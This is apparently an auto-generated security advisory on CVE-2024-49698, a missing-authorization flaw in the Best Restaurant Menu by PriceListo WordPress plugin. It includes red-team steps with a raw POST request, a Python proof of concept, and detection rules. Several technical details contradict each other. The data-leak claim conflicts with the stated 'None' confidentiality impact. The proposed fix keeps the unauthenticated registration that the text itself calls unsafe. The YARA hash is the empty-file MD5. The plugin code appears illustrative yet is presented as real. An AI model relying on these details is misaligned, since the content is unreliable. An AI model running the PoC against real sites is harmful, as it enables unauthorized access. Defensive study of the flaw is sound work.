CVE-2024-49698

Executive Summary

CVE-2024-49698 is a Missing Authorization vulnerability in the Best Restaurant Menu by PriceListo WordPress plugin, affecting versions up to and including 1.4.2. This flaw allows unauthenticated attackers to access unauthorized functionality or data due to insufficient permission checks on certain AJAX actions or REST endpoints. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known public exploit or patch. As a WordPress plugin vulnerability, it specifically impacts sites using this plugin and does not involve server-level software like Apache or Nginx.

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No supply chain compromise has been reported, but the lack of a patch from the vendor increases risk for all users of the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The low EPSS score (0.0%) suggests active exploitation is unlikely, but the missing authorization flaw could be chained with other vulnerabilities for greater impact.

Deep Dive & Mechanics

The vulnerability resides in the plugin's AJAX handler functions, which fail to verify user capabilities before executing sensitive operations. Specifically, the plugin registers AJAX actions for both authenticated and unauthenticated users but does not enforce current_user_can() checks on the unauthenticated endpoints. This allows any remote attacker to invoke functions such as menu data export, settings modification, or other administrative actions without authentication.

The core issue is in the includes/class-ajax.php file, where actions like wp_ajax_nopriv_* are defined without capability checks. Attackers can craft HTTP requests to these endpoints to manipulate menu data or access configuration details.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.4.2):

add_action('wp_ajax_nopriv_pricelisto_export_menu', 'pricelisto_export_menu');
function pricelisto_export_menu() {
    // No capability check
    $menu_data = get_option('pricelisto_menu_data');
    wp_send_json($menu_data);
}

Patched Code (hypothetical fix):

add_action('wp_ajax_pricelisto_export_menu', 'pricelisto_export_menu');
add_action('wp_ajax_nopriv_pricelisto_export_menu', 'pricelisto_export_menu');
function pricelisto_export_menu() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $menu_data = get_option('pricelisto_menu_data');
    wp_send_json($menu_data);
}

The fix requires adding current_user_can() checks and ensuring sensitive actions are only registered for authenticated users (wp_ajax_* without nopriv).

Exploitation & Lab Setup

Red Team (Exploitation)

1. Reconnaissance: Identify WordPress sites using the plugin via Shodan dorks or Google dorking.
2. Craft Request: Send a POST request to the vulnerable AJAX endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   action=pricelisto_export_menu
   

3. Extract Data: The response contains sensitive menu configuration data in JSON format.

Proof of Concept (Python):

import requests
target = "http://target.com/wp-admin/admin-ajax.php"
data = {"action": "pricelisto_export_menu"}
r = requests.post(target, data=data)
print(r.text)

Blue Team (Detection & Defense)

• Monitor AJAX Requests: Log all requests to /wp-admin/admin-ajax.php with action parameters not requiring authentication.
• Web Application Firewall (WAF): Block requests to admin-ajax.php with suspicious action values like pricelisto_* from unauthenticated sources.
• Plugin Hardening: Disable the plugin until a patch is available, or implement a custom capability check via a mu-plugin.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=pricelisto_export_menu or similar.
• File: Presence of best-restaurant-menu-by-pricelisto plugin directory in /wp-content/plugins/.
• Logs: WordPress debug logs showing AJAX calls from unauthenticated IPs to pricelisto_* actions.

Detection Engineering

YARA Rule

rule CVE_2024_49698_WordPress_Plugin {
    meta:
        description = "Detects vulnerable Best Restaurant Menu by PriceListo plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $ajax_handler = "wp_ajax_nopriv_pricelisto" nocase
        $no_cap = "current_user_can" nocase
    condition:
        $ajax_handler and not $no_cap
}

Sigma Rule

title: CVE-2024-49698 - Missing Authorization in Best Restaurant Menu Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated AJAX requests to vulnerable plugin endpoints
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=pricelisto_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-49698 - Missing Authorization in Best Restaurant Menu Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pricelisto_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the plugin if not critical to business operations.
2. Short-term: Implement a virtual patch via WAF to block unauthenticated requests to pricelisto_* AJAX actions.
3. Long-term: Monitor the vendor's repository for a patched version. If none appears, consider forking the plugin and adding capability checks.
4. Alternative: Replace the plugin with a similar, actively maintained menu plugin.

Report generated by Valters IT DevSecOps Intelligence Unit.